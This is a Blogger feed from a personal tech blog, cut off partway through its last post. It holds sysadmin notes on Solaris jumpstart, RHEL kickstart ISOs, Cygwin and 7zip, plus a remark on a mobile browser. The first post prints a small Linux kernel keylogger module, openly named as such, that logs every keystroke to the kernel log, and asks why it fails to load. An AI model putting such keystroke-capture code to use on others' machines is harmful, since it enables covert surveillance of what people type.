tag:blogger.com,1999:blog-43801168141845667582024-03-14T00:58:50.184-07:00StuffGreghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.comBlogger47125tag:blogger.com,1999:blog-4380116814184566758.post-66512623377922222712012-11-19T21:42:00.004-08:002012-11-19T21:43:02.004-08:00Unknown symbol<br />
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
(This is a question I almost submitted to Stackoverflow. The answer to my question is that I needed to add "MODULE_LICENSE("GPL"); to the top of my code for it to be able to link to GPL code. Crazy huh?)</div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<br /></div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<br /></div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
The following code (pasted last), taken mostly from <a href="http://www.gadgetweb.de/programming/39-how-to-building-your-own-kernel-space-keylogger.html" style="background-color: transparent; border: 0px; color: #4a6b82; cursor: pointer; margin: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;">here</a>, is a very simple kernel module which acts as a keylogger. I can get it to compile and produce a .ko just fine, but when I try to load it, I get the following errors in dmesg:</div>
<pre style="background-color: #eeeeee; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">[ 790.833828] keylogger: Unknown symbol unregister_keyboard_notifier (err 0)
[ 790.833846] keylogger: Unknown symbol register_keyboard_notifier (err 0)
</code></pre>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
I did not build my kernel from source, but am using the stock kernel provided with archlinux. I did install the kernel-headers package to get the module to compile, however.</div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<strong style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">So my question is: Are these two symbols really not found in my installed kernel?</strong> And if they are, why aren't they linking(?) correctly?</div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
I can find evidence that the symbols are present. Firstly, I can see the symbols in <code style="background-color: #eeeeee; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 1px 5px; vertical-align: baseline;">/proc/kallsyms</code>. Also, when I do <code style="background-color: #eeeeee; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 1px 5px; vertical-align: baseline;">nm /usr/src/vmlinux</code> I can also see these two symbols. Are they not the same?</div>
<div style="background-color: white; border: 0px; clear: both; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px; margin-bottom: 1em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Module code:</div>
<pre style="background-color: #eeeeee; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">#include <linux module.h="module.h"> /* Needed by all modules */
#include <linux keyboard.h="keyboard.h">
EXPORT_SYMBOL_NOVERS(unregister_keyboard_notifier);
EXPORT_SYMBOL_NOVERS(register_keyboard_notifier);
int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
struct keyboard_notifier_param *param = _param;
struct vc_data *vc = param->vc;
int ret = NOTIFY_OK;
if (code == KBD_KEYCODE) {
printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
}
}
static struct notifier_block nb = {
.notifier_call = hello_notify
};
static int hello_init(void)
{
register_keyboard_notifier(&nb);
return 0;
}
static void hello_release(void)
{
unregister_keyboard_notifier(&nb);
}
module_init(hello_init);
module_exit(hello_release);</linux></linux></code></pre>
Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-41288638503475769372011-10-18T11:34:00.000-07:002011-10-18T11:36:51.311-07:00Cygwin: Windows Context MenuThe following, when placed in a .reg file and imported into the windows registry, will create a context menu entry that will open a mintty cygwin window at the specified directory. I simply modified a similar reg file which was created for rxvt (I prefer mintty), found <a href="http://cygwin.com/ml/cygwin/2002-05/msg01648.html">here</a>.<br /><br /><pre>Windows Registry Editor Version 5.00<br /><br />[HKEY_CLASSES_ROOT\Directory\shell\0cmd-mintty]<br />@="Open Mintty Window Here"<br /><br />[HKEY_CLASSES_ROOT\Directory\shell\0cmd-mintty\command]<br />@="C:\\cygwin\\bin\\mintty.exe -e /usr/bin/bash --login -c \"cd \\\"`cygpath -u '%1'`\\\"; exec bash\""<br /></pre>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com1tag:blogger.com,1999:blog-4380116814184566758.post-43041695087004863022010-02-05T12:24:00.000-08:002010-02-25T22:09:16.760-08:00Solaris10 (sparc) jumpstart from LinuxThis got me started: <div><a href="http://www.5dollarwhitebox.org/wiki/index.php/Projects_Linux_Jumpstart_Installer#Linux_Server_Configuration_Files">http://www.5dollarwhitebox.org/wiki/index.php/Projects_Linux_Jumpstart_Installer#Linux_Server_Configuration_Files</a></div><div><br /></div><div><a href="http://www.5dollarwhitebox.org/wiki/index.php/Projects_Linux_Jumpstart_Installer#Linux_Server_Configuration_Files"></a><b>Intro</b></div><div><br /></div><div><b></b>Where I work, we have several Sun T1000s. These machines lack usb ports and cdrom drives, so installing Solaris on them is a pain. The process involves using another machine to jumpstart the target machine. Most instructions on the web tell you how to do this using Solaris as the jumpstart server.</div><div><br /></div><div>One of the great benefits of jumpstarting, is you can completely configure the install process using configuration files. You can set root passwords, specify packages to be installed, run custom shell commands, add users, etc.</div><div><br /></div><div>I needed a way to be able to manage all of these configurations in CM (perforce) and then reliably and consistently build my jumpstart server. Previously this involved following written instructions that went something like this: 1) Create Solaris VM 2) Move this files over 3) Configure this, that, etc. It was highly error prone and many times a little step here or there would get skipped.</div><div><br /></div><div>Enter Linux.</div><div><br /></div><div>Besides the fact that I really dislike Solaris, I saw many advantages to trying to make a Linux jumpstart server. Primarly was the fact that I could programatically make a Linux jumsptart server by making a Live CD (maybe more on this in another blog post). Also, Linux for me, is easier to manage, debug, configure, etc. </div><div><br /></div><div>In the sections that follow, I'll try to explain the steps I took to create a Linux jumpstart server on a RHEL 5.4 system. As alluded to before, I eventually ported this to an ArchLinux livecd, so I could pop the live cd in a x86 PC, boot, and serve Solaris installs!</div><div><br /></div><div>And lastly, I should note that this post is mostly a collection of notes. I don't expect a newbie to jumpstart to understand anything by reading this. This will be mostly helpful to someone who is already familiar with the basics of jumpstart, has probably already tried to get it to work on Linux, but just needs a few hints.</div><div><br /><span style="font-weight: bold;">Install a minimal RHEL 5.4</span><br /><br /><span style="font-weight: bold;">Add dhcpd and tftp-server packages, if necessary<br /><br />Configure dhcpd<br /><br /></span>Here is my config file. My server's ip is 192.168.1.1.<br /><pre>ddns-update-style interim;<br />ignore client-updates;<br />option routers 192.168.1.1;<br />option subnet-mask 255.255.255.0;<br /><br />default-lease-time 600;<br />max-lease-time 7200;<br /><br />next-server 192.168.1.1;<br /><br /># Jumpstart Support<br />option space SUNW;<br />option SUNW.root-mount-options code 1 = text;<br />option SUNW.root-server-ip-address code 2 = ip-address;<br />option SUNW.root-server-hostname code 3 = text;<br />option SUNW.root-path-name code 4 = text;<br />option SUNW.swap-server-ip-address code 5 = ip-address;<br />option SUNW.swap-file-path code 6 = text;<br />option SUNW.boot-file-path code 7 = text;<br />option SUNW.posix-timezone-string code 8 = text;<br />option SUNW.boot-read-size code 9 = unsigned integer 16;<br />option SUNW.install-server-ip-address code 10 = ip-address;<br />option SUNW.install-server-hostname code 11 = text;<br />option SUNW.install-path code 12 = text;<br />option SUNW.sysid-config-file-server code 13 = text;<br />option SUNW.JumpStart-server code 14 = text;<br />option SUNW.terminal-name code 15 = text;<br /><br /><br />subnet 192.168.1.0 netmask 255.255.255.0 {<br />range 192.168.1.10 192.168.1.100;<br />option broadcast-address 192.168.1.255;<br />#option routers 192.168.1.1;<br /><br />option host-name "solaris10-jumper1";<br />vendor-option-space SUNW;<br />option SUNW.sysid-config-file-server "jumpstartserver:/home/jumpstart/config";<br />option SUNW.JumpStart-server "jumpstartserver:/home/jumpstart/config";<br />option SUNW.install-server-hostname "jumpstartserver";<br />option SUNW.install-server-ip-address 192.168.1.1;<br />option SUNW.install-path "/home/jumpstart/install";<br />option SUNW.root-server-hostname "jumpstartserver";<br />option SUNW.root-server-ip-address 192.168.1.1;<br />option SUNW.root-path-name "/home/jumpstart/install/Solaris_10/Tools/Boot";<br />}<br /></pre><br /><br /><br /><span style="font-weight: bold;">Configure NFS</span><br /><br />For some reason, you have to disable NFSv4 on the server. See this page:<br /><blockquote><a href="http://www.jroller.com/jasonf/entry/solaris_10_nfs_client_connecting">http://www.jroller.com/jasonf/entry/solaris_10_nfs_client_connecting</a></blockquote>Pay special attention to the comment left by Lars Rohrbach.<br /><br />My /etc/exports file looks like this:<br /><pre><br />/home/jumpstart/install 192.168.1.0/255.255.255.0(ro,sync,no_root_squash)<br />/home/jumpstart/config 192.168.1.0/255.255.255.0(ro,sync,no_root_squash)<br /></pre><br /><span style="font-weight: bold;">TFTP</span><br /><br />Enable tftp by editing the /etc/xinet.d/tftp file.<br /><br />Tftp files (at least with RHEL5) are served by default from /tftpboot. The Solaris sparc bootloader(?) needs to be copied to this directory. In my situation, I copied /install/Solaris_10/Tools/Boot/platform/sun4v/inetboot from the Solaris10 install dvd and renamed it SUNW.Sun-Fire-T1000. If you're not installing a T1000, you will rename it to something different. Also, the folder that inetboot was in, sun4v, may change too. I deduced the filename, SUNW.Sun-Fire-T1000, by looking at tcpdump output and I figured out the architecture(?), sun4v, by googling.<br /><br /><span style="font-weight: bold;">DVD Contents</span><br /><br />For simplicity, I mounted (instead of copying) the Solaris 10 sparc dvd at /home/jumpstart/install.<br /><br /><span style="font-weight: bold;">Configuration</span><br /><br />/home/jumpstart/config/any_machine:<br /><pre><br />install_type initial_install<br />system_type server<br />partitioning explicit<br />filesys rootdisk.s0 10000 /<br />filesys rootdisk.s1 1000 swap<br />filesys rootdisk.s4 10000 /home<br />filesys rootdisk.s5 free /var<br /><br />cluster SUNWCreq<br /></pre><br />/home/jumpstart/config/sysidcfg:<br /><pre><br />system_locale=en_US<br />timezone=US/Pacific<br />terminal=vt100<br />timeserver=localhost<br />network_interface=e1000g0 {hostname=client1<br />netmask=255.255.255.0<br />protocol_ipv6=no<br />default_route=192.168.1.1}<br />name_service=NONE<br />security_policy=NONE<br />nfs4_domain=dynamic<br /></pre><br />/home/jumpstart/config/rules:<br /><pre><br />#<br /># The following rule matches any system:<br /><br />any - - any_machine -<br /></pre><br />/home/jumpstart/config/rules.ok:<br /><pre><br />any - - any_machine -<br /># version=2 checksum=num<br /></pre><br /><span style="font-weight: bold;">Start the Install</span><br /><br />From the Solaris ">" prompt, issue a "boot net:dhcp - install"<br /><br />That's it!<br /><br /><span style="font-weight: bold;"></span></div>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com2tag:blogger.com,1999:blog-4380116814184566758.post-60142425195569742602009-12-09T11:11:00.000-08:002009-12-09T11:27:11.384-08:00Extract files from an ISO in Linux (or Windows) without root<div>I have a need to extract an iso from a script as a non-root user.</div><div><br /></div>My google searching revealed a couple of ways to <span class="Apple-tab-span" style="white-space:pre"> </span>access the files within an ISO without root access. Obviously, the <a href="http://www.cyberciti.biz/tips/how-to-mount-iso-image-under-linux.html">loop method</a> requires root. If you have gnome around, you can use file-roller as <a href="http://ubuntuforums.org/showthread.php?t=1147257">this post</a> shows, but this didn't work for me from the command line. Apparently you can <a href="http://www.thegeekstuff.com/2009/06/how-to-mount-view-iso-file-as-root-and-non-root-user-in-unix/">use midnight commander</a>, but I didn't see any easy way to script mc.<div><br /></div><div>The solution I found is to use good ole 7zip. From previous experience I knew it could open up iso files on Windows. They have a Linux version. </div><div><br /></div><div>Here is the <a href="http://www.7-zip.org/download.html">7zip download page</a>. I recommend downloading the binary verison for linux if you don't want to compile from source.</div><div><br /></div><div>Here is some sample syntax to extract an iso:</div><div><br /></div><div><blockquote><pre>7z x -oOutputDir LargeLinuxIso.iso</pre></blockquote></div><div><br /></div><div>I mentioned Windows in the title because 7zip is cross platform and these instructions apply there as well.</div><div><br /></div>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-91195674585313659292009-11-20T07:35:00.000-08:002009-11-20T08:00:12.511-08:00Custom RHEL / OEL 5.4 CD (iso) with kickstartThe end result of this tutorial is a bootable iso which will install a pre-configured RHEL 5.4 without any user input. <div><br /></div><div><b>Step1: Copy</b></div><div><b><br /></b></div><div>Copy the entire contents of the RHEL 5.4 dvd to $rhroot, where $rhroot is any directory on your system.</div><div><br /></div><div><b>Step 2: Create Kickstart</b></div><div><br /></div><div>A kickstart file tells the installer how you want the system installed and allows your install to take place with no user input. In it, you configure options like the timezone, the partition layout, and which packages you want installed. The easiest way to create a kickstart config file is to use the one created when you installed your current system which is located at /root/anaconda-ks.cfg. See the <a href="http://www.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5.4/html/Installation_Guide/s1-kickstart2-file.html">documentation </a>for more information on tweaking your kickstart file.</div><div><br /></div><div><b>Step 3: Remove Unnecessary Packages, Add Extra Packages</b></div><div><b><br /></b></div><div>Remove the rpms that you don't need from $rhroot/Server/. Most likely the Cluster, ClusterStorage, and VT directories of $rhroot can also be removed. The rpms you don't need are determined by what packages your installing as defined in the kickstart file. For any additional custom RPMs, be sure you add them to kickstart file or include them in a package group (see $rhroot/Server/comps-rhel5-server-core.xml).</div><div><br /></div><div>Despite the fact that you may remove many RPMs, I haven't found any benefit to removing references to them from the package group file. </div><div><br /></div><div><b>Step 4: Rebuild the Repository</b></div><div><b><br /></b></div><div>Run the following command from $rhroot/Server to rebuild the Server repository to reflect any packages that were added or removed:</div><div><blockquote><pre>$ createrepo -u "media://`head -1 ../.discinfo`" -g repodata/comps-rhel5-server-core.xml .</pre></blockquote></div><div><b>Step 5: Build the ISO</b></div><div><br /></div><div>From $rhroot run the following: </div><div><blockquote><pre>mkisofs -r -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -b isolinux/isolinux.bin -c isolinux/boot.cat -x "lost+found" -o ../oel5Custom.iso .</pre></blockquote></div><div><b>Step 6: Test</b></div><div><br /></div><div>I use VirtualBox to give my new ISO a spin.</div><div><br /></div><div><br /></div><div><b>Good References:</b></div><div><b><br /></b></div><div><a href="http://nootech.wordpress.com/2007/12/11/build-a-custom-centos-5-install-cd/">http://nootech.wordpress.com/2007/12/11/build-a-custom-centos-5-install-cd/</a></div><div><a href="http://smorgasbork.com/linux/35-linux/58-building-a-custom-centos-5-kickstart-disc-part-1">http://smorgasbork.com/linux/35-linux/58-building-a-custom-centos-5-kickstart-disc-part-1</a></div><div><div><a href="http://deborahwazir.wordpress.com/2009/09/22/creating-a-red-hat-custom-bootable-install-dvd/">http://deborahwazir.wordpress.com/2009/09/22/creating-a-red-hat-custom-bootable-install-dvd/</a></div><div><br /></div><div></div></div>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com1tag:blogger.com,1999:blog-4380116814184566758.post-32487797634534947892009-11-06T14:26:00.001-08:002009-11-06T14:26:44.880-08:00Ozone mobile web browser<div>For the longest time, I've been looking for a decent web browser for the Nokia e71. After trying webkit s60 (the built in browser), skyfire, opera mini, bolt, and teashark, I finally found <a href="http://www.o3mobi.com/">Ozone</a>. Ozone is amazing. It is fast and loads pages with javascript better than any other mobile browser.</div> <div><div><div><div><div><div><div><br></div><div>Interestingly enough, Ozone's author(s) is mysteriously elusive. It is a <i>really</i> good browser, so I would conclude that it took a lot of money to develop. Why is there no mention of a company or author? With nobody to give credit to, there's nobody to take blame -- for better or worse. It's hard for me to trust my identity (gmail username/password, for example) to Ozone. For all I know, there's a good chance Ozone is the fruit of an organized crime effort. I'm pretty sure someone could earn a buck or two if they full access to the kinds of information people, usually trustingly, put into their web browser.</div> <div><br></div><div>So while I'll be using Ozone for everything I can, I won't be giving it any information I wouldn't openly post on the internet. </div><div><br></div><div><br></div><div><br></div></div></div> </div></div></div></div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-54165363506655308842009-10-06T14:48:00.001-07:002009-10-08T11:43:55.467-07:00How to (easily) mount a CDROM in Solaris<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex; "> <span class="Apple-style-span" style="font-family:'courier new', monospace;">for device in `ls /dev/dsk`; do mount -F hsfs -o ro /dev/dsk/$device /mnt/cdrom; done</span></blockquote>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-44632370640568838332009-09-24T15:20:00.000-07:002009-09-24T15:21:04.939-07:00Convert p4 cygwin commands to p4 win commands<div class=Section1> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'>Here’s a simple little script which allows me to use p4.exe from cygwin. Perforce actually releases a p4.exe for cygwin, but I wanted my p4win and p4.exe to be able to use the same client spec. This isn’t possible when one requires a root starting with “C:\” and the other requires “/cygdrive/c/”. <o:p></o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'><o:p> </o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'>This script works by expanding and window-izing all arguments after the p4 command.<o:p></o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'><o:p> </o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'>Here is a series which shows the transformation.<o:p></o:p></span></font></p> <ul style='margin-top:0in' type=disc> <li class=MsoNormal style='mso-list:l0 level1 lfo1'><font size=2 face=Arial><span style='font-size:10.0pt;font-family:Arial'>p4 edit README<o:p></o:p></span></font></li> <li class=MsoNormal style='mso-list:l0 level1 lfo1'><font size=2 face=Arial><span style='font-size:10.0pt;font-family:Arial'>p4 edit /home/gwarner/foo/README (where foo is a symbolic link)<o:p></o:p></span></font></li> <li class=MsoNormal style='mso-list:l0 level1 lfo1'><font size=2 face=Arial><span style='font-size:10.0pt;font-family:Arial'>p4 edit /cygdrive/c/perforceRoot/blah/blah/blah/README<o:p></o:p></span></font></li> <li class=MsoNormal style='mso-list:l0 level1 lfo1'><font size=2 face=Arial><span style='font-size:10.0pt;font-family:Arial'>p4 edit C:\perforceRoot\blah\blah\blah\README<o:p></o:p></span></font></li> </ul> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'><o:p> </o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'>Ta da!<o:p></o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'><o:p> </o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>1.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><span class=co1><i><font size=1 color=gray face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:gray;font-style:italic'>#!/usr/bin/python</span></font></i></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>2.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#FF7700;font-weight:bold'>import</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><span class=kw3><font size=1 color=crimson face="Courier New"><span style='font-size: 8.5pt;font-family:"Courier New";color:crimson'>sys</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>3.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#FF7700;font-weight:bold'>from</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><span class=kw3><font size=1 color=crimson face="Courier New"><span style='font-size: 8.5pt;font-family:"Courier New";color:crimson'>subprocess</span></font></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>import</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>*<o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>4.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'> <o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>5.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#FF7700;font-weight:bold'>def</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>win32Path</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>path</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:#66CC66'>)</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'>: path = path.<span class=me1>replace</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#66CC66'>(</span></font></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:darkslateblue'>'/cygdrive/c/'</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>,</span></font><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:darkslateblue'>'C:</span></font></span><span class=es0><b><font size=1 color="#000099" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#000099;font-weight:bold'>\\</span></font></b></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>'</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>)</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>6.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'> path = path.<span class=me1>replace</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>(</span></font></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>'/'</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>,</span></font><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:darkslateblue'>'</span></font></span><span class=es0><b><font size=1 color="#000099" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#000099;font-weight:bold'>\\</span></font></b></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>'</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>)</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>7.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'> <span class=apple-converted-space> </span></span></font><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>return</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:darkslateblue'>'"%s"'</span></font></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>% path.<span class=me1>strip</span></span></font><span 